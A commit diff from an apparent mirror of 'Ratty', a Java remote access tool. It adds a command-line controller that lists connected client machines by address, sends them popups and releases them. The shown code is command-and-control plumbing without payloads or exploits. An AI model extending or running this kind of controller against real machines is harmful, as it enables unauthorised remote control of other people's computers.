mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
10 changed files with 362 additions and 26 deletions
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14Ratty/res/language/lang.properties
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14Ratty/res/language/lang_de.properties
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14Ratty/res/language/lang_en.properties
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58Ratty/src/de/sogomn/rat/Ratty.java
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2Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
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122Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java
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9Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java
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148Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java
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2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
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5Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@ -0,0 +1,122 @@ |
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package de.sogomn.rat.server.cmd; |
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import java.io.BufferedReader; |
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import java.io.IOException; |
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import java.io.InputStreamReader; |
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import java.util.stream.Stream; |
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import de.sogomn.engine.util.AbstractListenerContainer; |
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public final class CommandLineReader extends AbstractListenerContainer<ICommandLineListener> { |
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private BufferedReader reader; |
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private Thread thread; |
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private static final String ARGUMENT_SEPARATOR = " "; |
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public CommandLineReader() { |
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final InputStreamReader inReader = new InputStreamReader(System.in); |
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reader = new BufferedReader(inReader); |
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} |
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private String readLine() { |
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try { |
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final String line = reader.readLine(); |
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return line; |
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} catch (final IOException ex) { |
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return null; |
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} |
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} |
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public void start() { |
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final Runnable runnable = () -> { |
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while (true) { |
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final String line = readLine(); |
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if (line != null) { |
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final Command command = Command.parse(line); |
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notifyListeners(listener -> listener.commandInput(command)); |
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} |
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} |
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}; |
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thread = new Thread(runnable); |
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thread.start(); |
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} |
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public void stop() { |
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thread.interrupt(); |
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thread = null; |
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} |
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public static final class Command { |
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private final String command; |
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private final String[] arguments; |
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public static final Command EMPTY = new Command(""); |
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public Command(final String command, final String... arguments) { |
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this.command = command; |
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this.arguments = arguments; |
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} |
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@Override |
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public boolean equals(final Object obj) { |
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if (this == obj) { |
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return true; |
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} else if (obj == null || getClass() != obj.getClass() || command == null) { |
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return false; |
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} |
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final Command other = (Command)obj; |
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final boolean equals = command.equalsIgnoreCase(other.command); |
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return equals; |
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} |
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public boolean equals(final String string) { |
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if (command == null || string == null) { |
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return false; |
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} |
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return command.equalsIgnoreCase(string); |
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} |
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@Override |
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public String toString() { |
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return command; |
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} |
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public String argument(final int index) { |
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if (index < 0 || index > arguments.length - 1) { |
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return null; |
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} |
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return arguments[index]; |
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} |
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public static Command parse(final String line) { |
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final String[] parts = line.split(ARGUMENT_SEPARATOR); |
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if (parts.length == 0) { |
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return EMPTY; |
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} |
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final String commandString = parts[0]; |
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final String[] arguments = Stream |
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.of(parts) |
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.skip(1) |
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.filter(part -> part != null && !part.isEmpty()) |
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.toArray(String[]::new); |
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final Command command = new Command(commandString, arguments); |
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return command; |
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} |
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} |
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} |
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@ -0,0 +1,9 @@ |
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package de.sogomn.rat.server.cmd; |
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import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
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public interface ICommandLineListener { |
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void commandInput(final Command command); |
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} |
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@ -0,0 +1,148 @@ |
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package de.sogomn.rat.server.cmd; |
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import de.sogomn.rat.ActiveConnection; |
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import de.sogomn.rat.Ratty; |
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import de.sogomn.rat.packet.FreePacket; |
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import de.sogomn.rat.packet.IPacket; |
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import de.sogomn.rat.packet.PopupPacket; |
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import de.sogomn.rat.server.AbstractRattyController; |
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import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
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public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { |
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private CommandLineReader reader; |
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private static final String FREE = "Free"; |
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private static final String EXIT = "Exit"; |
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private static final String LIST = "List"; |
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private static final String POPUP = "Popup"; |
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private static final String HELP = "Help"; |
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private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help"); |
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public RattyCmdController() { |
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reader = new CommandLineReader(); |
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reader.addListener(this); |
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reader.start(); |
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} |
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private int parseIndexSafely(final String string) { |
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if (string == null) { |
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return -1; |
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} |
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try { |
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final int number = Integer.parseInt(string); |
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return number; |
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} catch (final NumberFormatException ex) { |
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return -1; |
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} |
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} |
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private ActiveConnection getConnectionByIndex(final int index) { |
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if (index < 0 || index > connections.size() - 1) { |
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return null; |
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} |
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return connections.get(index); |
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} |
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private ActiveConnection getConnectionByAddress(final String address) { |
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if (address == null) { |
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return null; |
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} |
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for (final ActiveConnection connection : connections) { |
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final String connectionAddress = connection.getAddress(); |
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if (connectionAddress.equals(address)) { |
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return connection; |
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} |
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} |
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return null; |
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} |
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private ActiveConnection getConnection(final String input) { |
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if (input == null) { |
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return null; |
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} |
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final int index = parseIndexSafely(input); |
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final ActiveConnection connection; |
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if (index != -1) { |
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connection = getConnectionByIndex(index); |
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} else { |
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connection = getConnectionByAddress(input); |
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} |
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return connection; |
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} |
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/* |
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* ================================================== |
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* HANDLING |
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* ================================================== |
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*/ |
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private void freeClient(final Command command) { |
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final String input = command.argument(0); |
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final ActiveConnection connection = getConnection(input); |
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if (connection != null) { |
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final FreePacket packet = new FreePacket(); |
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connection.addPacket(packet); |
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} |
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} |
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private void listClients() { |
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connections.stream().forEach(connection -> { |
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final int index = connections.indexOf(connection); |
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System.out.println(index + ": " + connection.getAddress()); |
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}); |
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} |
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private void sendPopup(final Command command) { |
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final String connectionInput = command.argument(0); |
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final ActiveConnection connection = getConnection(connectionInput); |
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final String message = command.argument(1); |
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if (connection != null && message != null) { |
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final PopupPacket packet = new PopupPacket(); |
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connection.addPacket(packet); |
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} |
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} |
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/* |
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* ================================================== |
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* HANDLING END |
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* ================================================== |
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*/ |
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@Override |
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public void packetReceived(final ActiveConnection connection, final IPacket packet) { |
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//... |
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} |
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@Override |
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public void commandInput(final Command command) { |
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if (command.equals(EXIT)) { |
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System.exit(0); |
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} else if (command.equals(FREE)) { |
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freeClient(command); |
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} else if (command.equals(LIST)) { |
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listClients(); |
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} else if (command.equals(POPUP)) { |
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sendPopup(command); |
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} else if (command.equals(HELP)) { |
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System.out.println(HELP_STRING); |
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} |
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} |
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} |
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